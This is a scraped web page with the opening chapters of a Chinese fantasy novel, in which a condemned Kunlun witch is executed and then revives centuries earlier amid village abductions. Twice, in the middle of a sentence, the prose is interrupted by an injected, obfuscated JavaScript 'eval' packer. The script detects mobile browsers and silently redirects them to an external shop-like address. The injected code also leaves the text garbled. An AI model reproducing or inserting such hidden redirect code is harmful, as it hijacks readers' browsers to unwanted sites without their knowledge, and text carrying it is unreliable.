《一对一历劫辅导》 1. 序 章 处决 今天是锦云大婚的日子,但在穿上喜服之前,她必须得去杀一个人。 她仔细对镜拢着云鬟,而究竟此刻这番打扮,是为了月宫里的婚仪大典,还是为了待会儿与那人的照面,却是连她自己也已分说不清。 好好的头发被越弄越乱,她这才察觉到自己的手在发抖。 那个三百年前就该被处决的孽障! 而她的好未婚夫,竟私自窝藏了那孽障整整三百年! 她将梳子掷回桌面,再看镜子里的女人满头珠钗,只觉万分可笑,干脆全都拆了,只留一支白玉虎头钗斜簪在发间。然后提上剑,捏了个诀,踩着一朵飘曳浮云,径直往月牢去了。 * 月牢结界被一剑破开,泄下一道透亮天光,照在一个十六、七岁模样的少女身上。她正优哉游哉地合着眼,闲躺在一枝树杈子上打盹儿。 鼻尖扑来一阵月桂花香,十分好闻,锦云却无心去嗅,只把握剑的手紧了又紧。 这妖女!做下那许多丧心病狂的事,竟还能心安理得躲在这里睡大觉! 锦云额上正自跳着青筋,忽见树杈子上银光一闪,一道身影便如鬼魅般立在了她跟前。 许是太久不见光的缘故,少女脸色苍白,目光却炯炯。 “你是来杀我的。”少女声音笃定。 不过才对上一眼,竟就叫这邪门巫女读了魂。锦云心中直呼大意,忙疾步后退着捏出一个护心诀。 这一番动作里全是戒备,少女却似乎并不在意,只往锦云身后的方向探了探脑袋,问道:“商月呢?他怎么没来。” 她还有脸问这个! 锦云冷笑:“商月不会再来了。” 回应她的是少女一脸“这人在说什么鸟话,他怎么可能不来看我”的困惑神情。 简直像是被人用表情甩了一个巴掌。 锦云咬紧后牙,死死攥住手中剑柄。她没有忘记自己此行的任务。 杀了她,除掉夫君身上这荒唐的污点。 杀了她,让惨死在她手下的无数亡灵得以安息! 心念至此,锦云再不犹豫,她深吸一口气,双手捏诀祭出破军神剑。 神剑经灵力催动,寒光一凛,通体星纹骤亮,似一条铁铸银河接天而去,又引漫天星斗向它跌坠而来,于剑身上溅起阵阵蓝白色冷光,熠熠夺目。 “破军……”少女挑眉,似是认出了这把剑。 “你是该认得它。”锦云见她认出破军,不免心中得意,扬起下巴,“它已择我为主。” 说罢便就一脸意味深长,定睛去瞧那少女。 少女被盯得一歪头,也睁大眼睛,定定去与锦云回望,她望了半晌,直望得眼神都快要聚不拢了,才突然反应过来什么似的,语气试探着问道:“莫非仙子是要等我对此作出评论,才开打么?” 锦云正待吐气扬眉,不意却被当面戳破心思,那一口气便像一根刺卡在了喉咙口,吐不出来又咽不下去,只把她面皮涨得火热。 少女却了悟般点点头,伸出一根指头,遥遥一点那剑,满脸沉痛道:“我曾听闻后羿神君有一把落日弓,神君陨落后,它便封了灵魄,自沉海底,再不肯出,至今已有千年。神器择主本当如此,只没想到你竟是个三心二意的,摇光星君身陨不过三百年,你就熬不住寂寞,另寻他主了。” 活像是在责问丧妻三月就续弦的失节负心汉。 破军当即颤出一声尖锐剑鸣,转来剑尖与少女的指尖对峙,但见它狂抖剑身,寒光猛闪,似是要用剑光将那少女的指头剜了。 少女却将手指一歪,指向锦云道:“是她要我评论的。” 锦云被她指得无端一慌,忙重新捏诀稳住破军,怒极反笑道:“原是我的错,不过多留了你这一刻,竟害得世间又多出篇疯话来。” 说着,催动周身灵力注入神剑,霎时蓝白色剑光暴涨,锦云凛然眉目,高声喝道:“今日我便替天行道,杀了你这孽障,叫破军的功绩再添一笔!” 说罢便提气驭剑,朝那少女劈头砍下。 少女指尖莹莹绿光流转,只在虚空里轻轻一划,便结出数道护身符阵挡在身前。 只是再多的符咒阵法,也终究难抵上古神剑全力一击,那小巫不多时便被剑气压得口吐鲜血,跪地不起了。 她也没什么不同,流出的血也是红色。没了玉横和引魂铃护体,也就没了兴风作浪的本事,说到底不过是个半吊子的昆仑小巫,全靠些宝贝法器撑场面罢了。 锦云才这般想着,就见那少女眼底骤然红光大盛,额上一左一右猛地钻出一对嫩生生的龙角来,她一声暴喝宛似龙吟,身后便凭空现出一条近十丈的巨型青龙。 锦云心中大骇,没想到她失了引魂铃竟还能召出那邪龙。 青龙同少女一样红着眼,正龇牙咧嘴地冲锦云发出警告般的低吼。 “商月在哪里。”少女抬头迎上剑光,冷冷发问。 锦云一辈子也忘不了她此刻的眼神:冰冷、痛苦和倔强混在一片血红的眼底,死死将她盯住。 那走火入魔般的眼神! 一时间,惨状各异的一具具死尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283126|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她眼前走马灯般地浮现,有无辜百姓的,有仙门弟子的,更有仙山神巫的……而他们无一不是死于眼前这残忍妖女之手。 少女双目赤红,迎着剑光,再次高声喝问:“商月在哪里!” 青龙的情绪也随主人高涨,亮出一声亢奋龙啸。 锦云怵得脚底一软,向后一个踉跄,竟把发钗跌了下来,她也顾不得去捡,只管披散着头发,两片发白的嘴唇努力张合:“商月……商月他……” 话到一半,却又突然嗤嗤地发起笑来,她笑了几声,将唇角停在一个诡异的弧度,盯着那少女一字一句地道:“他、死、了。” 少女果然脸色大变。她眼底的血红分明比方才更甚,目光却一片茫然。 巨龙厉声哀叫,试图唤回主人的神志。 那小巫却只杵在原地,一动不动地发着愣。青龙与主人断了心链,渐渐维持不住龙身,不消片刻,便只得呜咽着消散了。 锦云颤栗的心头涌进一丝快感,她知道,自己的机会来了。 杀掉这个妖女!就是现在! 她一个腾身执起破军,将毕生修为都注入神剑,直直刺入了恶女的胸膛。 少女却没再动作,只依旧盯着锦云发怔。 “这一剑,为商月。” 神剑染血,被缓缓拔出,又再狠狠刺入。 “这一剑,为虞村百姓。” 再拔,再刺。 “这一剑,为昆仑众巫。” 浓厚的血腥味渐渐盖过月桂花香,在月牢中弥漫开来。 至此,潜逃了近三百年的天宫头号重犯,终于被破军神剑载着无尽星辰之力,三次穿心,就地正法了。 * 少女倒地,破军几乎是立刻就挣脱了锦云的手。 它似是兴奋极了,在月桂树下不住地翻腾打转,飞舞回旋,闪烁着幽幽寒光不肯熄灭。 锦云直等它舞尽了兴,才要收剑,却又见它倏地横身急下,往地面一抄,直挺挺便抄起那少女的身子,径直向月牢更深处奔去。 它莫非是要…… 锦云的心一阵狂跳,忙提步追去,果然一路跟着破军,追至一口古井上方。 那井口云烟缭绕,好似一口沸腾大锅,汩汩向外喷吐着白雾。 雾气受到侵扰,立时躁动起来,在空中聚作一团,转眼凝成八个大字:轮回尽断,鬼神弗论! “不要——!”有谁撕心裂肺的声音自身后传来。 而破军不听不闻,一个利落的翻身,便毫不留情地将那少女丢入了井中。 2. 第1章 绳子里钻出一个光头 璃音是被一阵悉悉索索的磨剪子声吵醒的。 她本不欲理会那动静,只管眯着眼睛还要再睡,却忽听得耳边唰唰声响,似有利刃破空而来,掀起眼皮一看,竟果真有一双稚嫩小手舞着把锃亮的大剪子,正挟风破竹,迎面往她脑门戳来。 谁家无礼小儿,敢来惊扰死人睡觉。 璃音本能便要抬手结阵去挡,一抬不动,这才发觉自己被绑死在一张太师椅上,手脚俱皆捆缚,动弹不得。她指尖微动,立时便有莹莹绿光自掌中浮起,但只亮起一瞬,转眼却即熄灭,体内灵力竟似一根划不燃的火柴,只能零星擦出几点火星子,威力全使不出来。 眼见刀尖直逼上眉心,她情急之下一个蹬地仰身,连人带椅向后翻倒过去,才堪堪躲过脑门开花,后脑勺便就咣当一声砸在硬地板上,登时把眼前砸出一片小人乱舞、金星直冒。 有小男孩脆生生的嗓音响在耳边:“姐姐,你怎的醒了?” 接着,便有什么东西圆圆滚滚,劈开日光,闯入她尚在模糊的视线,往她面朝天窗的脸上投下一大团阴影。 她轻甩脑袋,甩走眼中昏花,再定睛看时,才总算看清楚了上方圆咕隆咚的……一颗光头。 小光头看着约莫七八岁,正俯身蹲地,探头探脑地与她互相打量。 璃音便就这么仰面朝天,梗着脖子开口问道:“小师傅,你也是来杀我的?” 她曾闯下过一桩弥天大祸,惹得天怒人怨,神鬼共愤,追着要处死她的大侠小仙满天飞,做法咒她暴毙的怨灵亡魂遍地飘。故而凡是带了武器的生面孔,璃音都只须默认是来杀她的。 可她分明已经死了,且死得十分彻底,是被宣判了“永困轮回井,不入幽冥司,断绝来世路”的那种彻底,换句话说,海会枯,石会烂,但她是绝无可能会复生了。 也不知是哪位能人异士,竟能将她从轮回井底捞了出来,本事当真了得。 那小光头也不作答,只晃动剪刀,往空气里咔嚓一剪,面露难色地道:“你是不能醒的。” 说罢便五指蓄力,抻出一个手刀高高扬起。 既捞她出来,又不让醒,这却是个什么意思?忽而想起民间素有对仇人挖尸掘坟、挫骨扬灰的传统,璃音豁然开悟:那自然只能是为了大搞仪式,庆祝她恶人身死,再鞭尸泄愤了。 “等——”她第二个“等”字尚未及出口,那手刀便已干脆利落地劈上了她的脖颈。 还是晚了。 “啊哟!”却是那光头小子痛呼一声,原地弹起,耷拉着一只左手,满屋子里又叫又跳,似是骨折了。 璃音干笑:“抱歉,我身子比较硬。” 她凡人肉身早毁,如今这副躯壳,乃是玉横照猫画虎,就地取材,用昆仑山上的白玉石头重雕出来的,是个白得的仙身。平日里虽摸来与常人无异,但到底不是肉生肉长的,一不留神就要暴露些石头本性。就比如现在。 商月也曾为此抖着手指,戳她的心口凄声控诉过:“阿横,你不愧是铁石做的身子,更不愧是铁石做的心肠!” 小光头吃了痛,大约是真的怕了,右手颤巍巍举起大剪子,指向璃音:“你……你是什么人?” 孽障、怪物、祸害、妖女……世人送她的名头五花八门,但总之—— “总之不是什么好人。”璃音敛眸,沉下嗓子,哑声一笑。 她本意只是自嘲一句,对本人狼藉的生前身后名略作感慨,但许是表情和语气实在阴暗了些,那小光头闻言竟小脸一白,拿剪子的手也比方才抖得更猛了,只听他忽地大喊一声“公子!呜啊……公子!”,便啪嗒啪嗒狂掉眼泪,转身三步并作一步,推门跑了。 璃音:“……” 好像一不小心把小孩吓哭了。没想到她那早已负债的功德值,死后竟还能再跌上一跌。 璃音仰翻在地,目瞪天窗,唯有一声长叹:“好歹把椅子扶起来再走啊……” 回应她的是一只鸟儿飞过,向天窗落下一摊鸟粪。 ……还真是泄粪仪式。 璃音默默偏头躲开,心头涌上悲凉:怪道是恶人难当,一朝墙倒众人推,破鼓乱人捶,她在昆仑山上时骑鸾驾凤,如今却是不管什么鸟都敢往她脸上泄粪了。 但说来这屋子也是古怪,壁上挂的是清溪照柳图,榻上铺的是月白缎面被,案上书册高摞,边上放的是一把雕花紫砂方壶,看来应是位文人雅士在住的寝房,但却四壁无窗,只在屋顶上凿一个大洞,整日里漏风漏雨,这是什么设计? 璃音一面四下打量,一面开始挣身上那绳索,绳子并非寻常手搓的麻绳,却是十分结实的一整根嫩柳条,她才扭了两下,身上柳条竟自个儿动了起来,须臾,传出一个小女孩的声音:“我摔了公子心爱的茶壶盖子,被罚来绑你一日,身上符文只公子能解,一日期限未到,就是想放你走也没奈何的,你莫再做无谓挣扎。” 接着便觉身上柳条一紧,眼前一番天地倒转,连人带椅被提回了正位。 璃音吃了一惊,睁大双眼。倒不是为这柳条口吐人言、内藏精怪,而是从绑她腰腹的那截柳条里,竟缓缓钻出一个光头。 今天她是捅了光头窝了么? 光头小柳精钻出半边身子,小手一指天窗:“姐姐,我晒会儿太阳。”便十分惬意地往她怀里躺下。 璃音:“……”原来这天窗是这么个用法。 不过当务之急,还是要搞清楚她缘何在此,是怎么活的,又或者还死着。 她刚要发问,就听见屋外一阵杂乱的脚步声靠近,不一会儿,便率先冲进来一个面黑如炭、极高极壮的中年男人,那男人声如洪钟,进来劈头便问:“你把染棠弄去哪儿了!” 璃音看他头顶茂盛、发髻油亮,不由松了口气,先前接连冒出两个光头,害她差点以为三百年过去,世间水土大变,竟叫大家都秃了。 她左右看看,现下屋里总共就三人,她并不认得什么染棠,想来应该不是在问她,于是又将目光挪回男人头顶,大腿向上轻拱,示意怀里的小光头答话:“问你呢。” “我打死你个胡说八道的!难不成是我拐走自己的亲闺女!”不料男人闻言暴怒,两道粗眉登时倒竖在一张黑脸上,他话说得又猛又急,一嘴唾沫星子随怒气乱飞,小柳精方才被璃音拱了一下,正迷糊抬头间,便被结结实实喷了一脑袋口水,算是替璃音的小脸挡了灾。 好孩子。 璃音向她投去一个赞许的眼神。 “他问的是你,不是我。”小柳精伸手抹了一把反光的头顶,“这家的女儿前几日丢了,正在找呢。” 而男人显然并未听见小柳精开口,仍只翻来覆去指着璃音一人的鼻子叫骂。 璃音便晓得了,此人乃是个肉眼凡胎,并瞧不见什么光头柳树精,他眼里能看到的,不过一根平平无奇的光秃柳条。 璃音怪道:“他女儿丢了,怎么来问我要?” 这话自然是用通灵诀传与小柳精听的,她此时灵力倒又能使用如常了,尚不及细想,便见小柳精伸出小手,往她腰间一扯,扯出一根青红绸带来:“这个,是他女儿的。昨日公子发现你躺在柳树林里,看着面生,身上还系了这根带子,很是可疑,就把你绑了回来。” 小柳精作出总结陈词:“所以,你现在是拐走他女儿的头号嫌疑人。” 她活着时不小心活成了死刑犯,这也便罢了,怎么死了还要稀里糊涂给人当嫌犯。 璃音默然低头看处,身上衣裙都是死时穿的那件,只莫名多出了这根绸带。带子丝质细腻软滑,天青色的底子上点染着别致的海棠纹样,花蕊俱用珍珠剖半点就,花瓣皆有朱红色绣线描边,端的是工细精巧,富丽雅致,她上昆仑仙山之前曾也是高门贵女,如此精美的样式,却也只在宫中娘娘们的身上见过。 带子一端系着她腰带,另一端则似乎拴着什么东西,但隐在了衣裙间,她直觉不妙,正要喊小柳精往外再拽上一拽,好叫她看个真切,那中年男子就已暴躁跨步上前,一把将那带子连着一个白玉葫芦一齐扯下,冷笑道:“好,你说要问我,那我倒要先问问你,我女儿的发带,怎么会在你身上!” 男人边说边抖那绸带,带上珍珠不时与那小小巧巧、莹润透亮的玉石葫芦相撞,撞出一片叮当声响。 璃音在这片响声里怔然呆坐,呼吸渐渐急促起来。 玉横怎会在此?! 玉横若是在此,那商月却是如何了? 窝藏妖女之事败露,他此番必遭重罚,那人性子又素来板正,决计只一味晓得往自个儿身上揽罪,却绝不肯逃。 “他死了。” 那位提着破军神剑,从天而降的仙子是这么说的。 但她只道这是句骗她分心的假话,并未真的放在心上。那时的她笃信,商月有她的玉横护体,任它什么天罚,都只能算是一时的皮肉苦头,却总归是死不了的。 她分神只是因为,她瞧见了仙子发间跌下的那支白玉虎头钗。商月说那是留给未来妻子的信物,他会在大婚之日亲手给新娘簪上。 璃音正自出神,蓦地里耳边一声惊天嚎叫:“还我女儿!你还我女儿!”直把她嚎得耳朵似要出血。 甫一回神,就见一黑面妇人扑将上来,声嘶力竭来捶打她的肩膀,门口也同时呼喇喇的围上一群人,有的哭天抢地管她要女儿,又有的七嘴八舌喊着要绑她去官府。 幸而此刻她这身子不曾应激,不然倒反叫那妇人打坏了手。 “这些人又是怎么回事?”璃音尽量将身子放软,传音去问怀里的小柳精。 小柳精却诡异地沉默了。 但从众人混乱的你一言我一语中,璃音还是隐约听明白了一件事:村子里陆陆续续离奇失踪了一大批女孩儿,而她,很不幸,是迄今为止被发现的唯一可疑人士。故而全村丢了女儿的,大概全都赶来围在这屋里屋外了。 原来今儿个不是鞭尸仪式,却是扣锅大典。她方才见了玉横,心情算不得好,石头心肠便又发作起来。 “我不认识你女儿。”璃音抬头望那对她捶打不休的妇人,她软着身子,眼神却冷,接着又凉凉一眼扫视过门口众人,“也不认识你们的女儿。” 最后把目光定定落在拿着玉横的中年男子脸上:“把我的东西还给我。” “什么你的东西,这分明是我女儿的。”男人冷哼一声,将手中发带高举,“大家休要听她抵赖,这就是她拐走染棠的证据。” 刚被璃音眼神威吓住的人群一见那绸带,立时便似有了铁证一般,又炸了锅:“彩棠锦,是彩棠锦!真是她拐走了染棠!” “村邻皆知,年初圣上携德妃娘娘南巡,途经本县,小女沿街观驾,被娘娘一眼瞧中头上发带纹样,夸它别致精雅,赐名‘彩棠锦’,当场着令御供。”那中年男子一手将发带晃得叮当作响,一手怒指璃音,“小女的这根发带全村尽知,定是这拐子见此发带精美,顺手偷走,又不敢明目张胆系在头上出来走动,就偷系于腰间,用来栓了这不入流的东西!” 昔日西王母御赐的昆仑至宝,不想今随主人落难,地位也跟着一落千丈,成了遭人嗤笑的地摊货,被人抛在空中,玩杂耍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283127|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似的抡来甩去。 只这帮凡人无知,常言道人养玉三年,玉养人一生,她既是个真恶人,这玉跟了她好几百年,性子自然要堪称是魔玉中的魔玉了。只被她杀了还有机会投胎,若被玉横当了零嘴,才是真的神魂俱灭。 就说此刻,璃音分明感觉到,那暴躁葫芦的肚子越鼓越高,已是要大发脾气的征兆。 “和你说过多少遍,外面的东西不能随便吃。”璃音摆出主人架势,暗自向玉横传着令,“……人也不能。”又许诺过后诸般好处,才总算按下它飙升的怒气,没叫这祖宗当场发作。 带子仍旧在眼前甩得飞起,璃音替这凡人狠狠捏了把冷汗,才接口道:“故事很精彩,但你这话也没什么道理,难道你看人只看头顶,怎么系头上是明目张胆,系腰上就成偷偷摸摸了?况且这发带既是坊中早有的纹样,你又如何确定,你手中这根就一定是你女儿的?” “你还要狡辩!”随着中年男子一声怒喝,人群再次吵嚷起来,他们已认定她在狡辩,便说什么都是无用功了,“还我女儿”的声讨声又起,只继续对她打的打,哭的哭,闹的闹。 直到门外传来一道女声:“大家莫要心急吵嚷,这位姑娘既已在此,不如先听她把话说个明白。” 说着,走进来一位锦衣绣袄、姿容端丽的中年妇人,她一双杏眼微肿,脸上虽扑了细粉,却仍能瞧出几分暗藏的憔悴。然虽如此,她轻声缓步间,仍自有一番威严气度,叫众人都安静了下来。 “夫人。”那中年男子见她进门,也忙收敛神色,迎了上前,牵住那妇人的手。 这俩人竟是夫妇,璃音颇有些意外,男人虽也衣冠齐楚,言谈举止却总透着几分俗莽,与这位夫人的风华气度全不相配,她先前还只当那威猛非凡、捶了她快有上百下的黑面妇人就是他妻子。 小柳精也扭头望向来人:“昨天夜里一直听见虞夫人在哭,真可怜。”又扭头回来,小手揪上璃音衣襟:“姐姐,你就把女儿还给他们吧。” 信口臆断,白日诬枉,岂有此理,莫名其妙。 璃音向她冷冷丢去一个眼刀,小柳精立马打了个寒噤,埋脸再不敢作声。 她若果真犯了一千桩罪,她就会认下这一千桩的业,一桩都不会少,但也一桩都不能多。 她向来如此,肚子里只撑得下蒸糕烤饼大闸蟹,却是撑不下船的。 虞夫人接过丈夫手中发带,不觉又要滴下泪来:“这海棠纹样,原是自家染坊专为小女所染的。御供定在明年开春,今日才要起缸,打样都还未有,故而当世确只有这一条彩棠锦。”这却是在回答璃音方才的问话。 璃音挑眉,竟还真是一条世间绝无仅有的发带,但这和她一个在井底躺尸到今天才醒的女鬼又有什么关系,焉知不是谁趁她当死人时系上来的。 虞夫人又上前拉住璃音的手,言辞恳切道:“姑娘,我家中金银钱帛、字画古玩,你看上什么便就只管拿去,我只求姑娘可怜可怜我这膝下唯一的女儿,后日就到她十五岁生辰,她还没看到我们为她准备的生辰宴,没看到沈公子特意回来虞家村,为她排的《绮罗香》……” 话到此处,已是哽咽不能作声。一旁人高马大的丈夫忙搂过妻子,轻拍她后背安抚。 璃音本觉事不关己,听了这番话,却登时如遭五雷轰顶,僵在了那把红木雕花椅上。 虞家村,柳树林…… 她喉咙发紧,扣住扶手的十指用力到有些发颤:“此处可是……观柳县虞家村?” 那个曾被她随手屠尽了全村七百一十四口人的地方。 “你装什么不知!”男人不耐烦地冲璃音叫骂,“年前开始,你陆陆续续从村里不知拐走了多少好人家的女儿,夫人良善,说给什么金银字画,依我说,要给这等丧尽天良的拐子什么好脸色,若是不肯道出我儿下落,便叫这里丢了女儿的,给她一人一棍子打杀了,好为民除害。” “武哥。”虞夫人忙扯过丈夫程经武,按下他激动地越指越高的手,“姑娘无须忧惧,若有我儿和其他女儿们的下落,我自会奉足银子,送你安然离村,去别处好生过活。” 怀里小柳精也忍不住又抬头道:“姐姐,你就放心把女儿还给他们,虞夫人不会亏待你的,她家染坊四五百年的老招牌啦,家底丰厚得很,请我家公子来排戏的时候,出手阔绰着呢。那大块头说的什么不用理,我知道他是招赘来的,在家里其实说不上话。” 四五百年? 难道她竟死了有一百年了?否则三百年前便覆灭了的村子里,何来的开了四五百年的染坊? 璃音脑中白光闪过,忙传音问那小柳精:“今岁是哪一年?” 小柳精脱口便答:“是庆宁二十三年呀。” 记忆深处如有一道闷雷炸开。 她是记得这个年号的。 庆宁二十三年,皇城大旱,皇帝大开祭坛请神降雨,请神令直接烧到了她这昆仑小巫的还音殿中,西王母便御点了她下昆仑、降神旨、达民愿,那是她第一次下山履职。 那时昆仑山上十位神巫俱在,她尚不是妖女,没有狂性大发,也没有杀人杀到红了眼,没有犯下无可挽回的错。 那时的商月还是月宫顶有前途的仙君,没有在月光下与她牵手告白,也没有承诺要在大婚之日为她亲手簪一支白玉虎头钗,更没有收走她的玉横和引魂铃,将她藏进月牢,抱着她说:“没事的,阿横,我不会再让你犯错。” 她好像是诈尸了,璃音怔怔地想,并且诈尸回到了三百年前,回到了那个所有悲剧闹剧都尚未开场的庆宁二十三年。 3. 第2章 失踪少女 璃音环视过屋内众人,人人脸上皆是火气旺盛、嗔目切齿,却也都眼眶泛红,有泪光隐隐灼闪。 她这一眼竟不敢多看,当即垂下眸去,心中止不住地想:我曾杀过你们吗?又或者一年之后,我就要杀掉你们了。 但无论如何,这桩事,她是不能不管的了。和虞家村有关的事,她都是不能不管的。 璃音心中略一计较,不多时便有了主意,于是抬头向虞夫人道:“金银字画我也不要,但就身下这把椅子,送我处置可否?” 大概是这谢礼要得过于别出心裁,虞夫人闻言一愣,但还是点头道:“这……自然是可以。” “多谢。”璃音旋即对身前几人摆手,“几位还请往后站站。” 虞夫人狐疑着后退几步。几位村民见她动作,一阵面面相觑后,也跟着往后退了退。 只她丈夫程经武却不肯动,冷哼一声,叫道:“你又耍什么花样?” “你要干嘛?”怀中小柳精也警惕起来。 璃音并不答话,只等虞夫人站定,就翻掌如刀,向下猛力一劈。 咔吧—— 几声木头碎裂的闷响,立时一把椅身尽断,木屑横飞。 有一截残木迸出,飞矢也似向外射去,程经武因离得太近,躲闪不及,叫这木头正中膝盖,当即腿上一阵剧痛,咚的一下扑倒在地,他万不肯在夫人面前丢了面子,只好强自忍痛,趁众人掩面防尘之际,匆忙爬起,状若无事般站好,默默把一张黑脸憋成了猪肝色。 小柳精早已吓得胆破心惊,尖叫一声,嗖的钻回本体,柳条也随之散落至璃音脚踝,因着那咒法让她离不得人身,便也顾不得分清人腿凳腿,只管抖着身子一顿攀缠,竟自把一根残留凳脚绑死在了璃音腿上。 璃音也不去管那柳条,只权当多了一束绑腿,她一把将其中凳脚麻利拔出,往地下一扔,三两下拍掉裙面沾染的灰尘,又撕下一小块衣角,弯身把地上那摊鸟粪揩去:“这东西干透了可就不好擦了。” 她抬起头,目光穿过满屋飞扬木屑,对惊恐万状的众人道:“走吧,带我去柳树林看看。” 发带和她都是在柳树林被发现的,那里一定有线索,无论是关于那些失踪女孩的,还是关于自己的。 见众人俱是惶惶愣愣,无有回应,璃音便自顾上前,从虞夫人手中发带一端解下玉横,揣入怀中,径自先往屋外去了。 屋里屋外一大帮子人,都被方才一阵大动静唬住了胆,见她要出去,都自发分列两侧,默默空出一条道。 璃音方才那一掌里其实并无灵力,她今日的术法时灵时不灵,因而劈掌时干脆全使的蛮力,幸而她肉掌可当石刃使,天生力气又大,劈碎一把椅子还是不在话下。 但要一举震慑住这么多人,方便她过后的追问探查,光是展示一番自己的孔武有力,显然还不够,故而小柳精一惊之下那一连串的反应,才是她真正想要的。 柳条竟在她身上自发动了起来,这一下便就扯上了怪力乱神,刚才那一掌即便全是蛮力,看在凡人眼里,也自然而然会被当做法力,难免不叫人心生忌惮。 出门在外,身份都是自己给的。 外面院子十分宽阔,但四处搭满又高又大的竹木架子,其上又晾晒着各色布料,使得视线重重受阻,穿行亦十分不便。 屋里虞夫人最先回过神,忙快步追出,众人便也随在她身后,小心翼翼跟了上来。 问过虞夫人,璃音方知此处便是她家传了四五百年的虞记染坊,方才那小屋原是一间小仓库,平日里只用来堆放些杂物,以此无窗。虞夫人为给女儿庆生,邀了名伶沈公子住家排戏,公子因惯要出晨功,不想总是一大早的去扰人清梦,便没有住进虞夫人家宅邸,而是收拾了坊里那间库房来住,如此每日清晨便可去坊后的柳树林练唱,颇为便利。 沈公子就是在今早去林中练功时,见着璃音,将其“抓获”的。 璃音一面跟随虞夫人穿过院落,一面旁敲侧击问道:“沈公子一个人住吗?” 虞夫人道:“公子素爱清静,不排戏时都是一个人住在坊里。” 璃音又问:“戏班子里可有几个光头小孩?” 程经武一路跟在妻子侧后,闻言嗤笑一声,说道:“我家是请人来唱戏,不是请人来念经。” “随口一问罢了。”璃音已知他是个上门女婿,那么人品相貌稍显粗陋些也属正常,也就不去与他计较。忽而就想到自己做凡人时,家中也曾给她招赘过一个夫婿的,只是百年过去,如今就连他叫什么名字,长什么样,都已一概记不得了。 适才听他们夫妇二人的回答,果然对柳树精的存在一无所知,璃音证实了心中猜想,脚下步子不停,继续向虞夫人问道:“那令爱又是在何时何处丢的?” 虞夫人神色一黯:“我也不知是在何时何处,但大概是在昨日上午丢了的……”便将情由细细说来。 期间程经武不时插嘴,又常有某个村民突然跳出来补充一二细节,或是想起自家女儿失踪时的情状,纷纷接口讲述起来。 璃音将他们的话大致捋了捋,算是对村里近来发生的少女失踪案有了个大概了解。 去岁霜降,虞家村里突有贼人猖獗,一个月内,竟有十来户的女儿接连被人拐走。失踪的俱是十来岁的少女,她们有的是随父母上街,一个转身便即消失不见;有的则是晚上好好地回屋入睡,次日就再没见到人影。 村民皆一口咬定,这些案子是生人做的。 村子不大,村里人也不多,且都是从祖上就在这里扎了根的。因着此处水土宜种棉花靛草,于是村民们世代种草、种棉花、纺织、染布……总之家家户户各有生计,渐渐让虞家村在染织业闯出了名堂,近年各家生意越发红火,可算得上是乡邻友睦,安居乐业。 故而他们实在想不出,有谁会抛弃了这大好的祖宗家业不要,却去当拐子。 官府挨家挨户做了盘查,也没查出什么可疑的人。又细细查验过那些在县里往来的商贩、车马,均无异常。短时间内失踪了这么多少女,竟是一个嫌疑人也找不出,一时间,官府焦头烂额,村里人心惶惶。 但好在一个月后,这贼人便消停了,村民也算松了口气,想那贼人多半已在此处薅够了人,离了虞家村,去别处犯案了。 直到昨日,虞染棠失踪。 虞夫人定在昨日要新起一批染缸,坊中染缸不够,于是和丈夫一早便起床动身,要把家中闲置的一批染缸运去染坊里。因离家时辰太早,二人走时便没有去房中打扰女儿睡觉。待到中午,二人回家吃饭,却迟迟不见女儿上桌,一看女儿房里没人,又往家里各处都喊了一遍,只不见人影。 程经武猜想女儿许是跑去染坊了,这原也稀松平常,只是今日没能和父母打上招呼,或许她到得染坊时,他们又已回家,因而错过了,也是有的。于是二人急得饭也没吃,连忙就又往染坊里赶。 路上正巧,迎面撞上坊里账房先生出来吃小面,先生见他二人行色仓皇,问了缘由,笑着让他们定心,说染棠今日到染坊里来过了。他上午一进账室,就见桌上染棠惯用的茶盏里泡着白牡丹混一点茉莉花茶,边上又有啃了一半的酥饼,账室是染棠惯爱呆的,桌上茶水糕点也是染棠惯爱吃的,虽当时屋里没见着人,但或许是出去地里看靛草了,又或是躲在哪里琢磨染方,这也是常有的事,二人听了这番话,又稍稍宽下心来。 夫妇二人心不在焉忙完了染坊里的活,快到晚饭时,仍不见女儿踪影,又着急起来,遣了人在坊里坊外、家中各处、乃至街头巷尾到处寻找,染匠和家仆们举着火把一直找到半夜,只找不到,又想起半年前村里失踪的那些女孩,心中惊惶悲痛不已,对坐在烛火下流了一夜的泪。 然后便是今日早上,沈公子如往常一般去到柳树林里出晨功,见到璃音腰间系着那段村里无人不知的彩棠锦,便立刻将她绑去自己屋里,又赶紧让人通知了虞夫人过来。先前家中丢了女儿的,听闻虞记染坊里抓了个嫌犯,都急急忙忙扔下手里的活,面红耳赤奔来这里,要探个究竟。 说到此处,璃音忽觉空中有一阵淡淡的熏臭味钻鼻而来,他拿手在鼻前扇了扇,随虞夫人踏入另一间院落。 虞夫人见璃音不住地吸鼻皱眉,解释道:“此间都是这两日新起的染缸,故而有些气味。” 原来是染料在缸里发酵的味道。 院子东面一字排放着十数口大缸,西面砌有三方石砖染池,缸上池上皆覆有盖板。北面墙上开一道小门,有几个染匠不停抬着大缸进进出出。 透过小门,依稀能望见外头淌了一条小溪,夹岸生着大片杨柳,只是未及开春,尚且瞧不见一些儿绿色。 “就是那片柳树林么?”璃音将手指向门外。 虞夫人领众人走向那小门:“正是那处。” 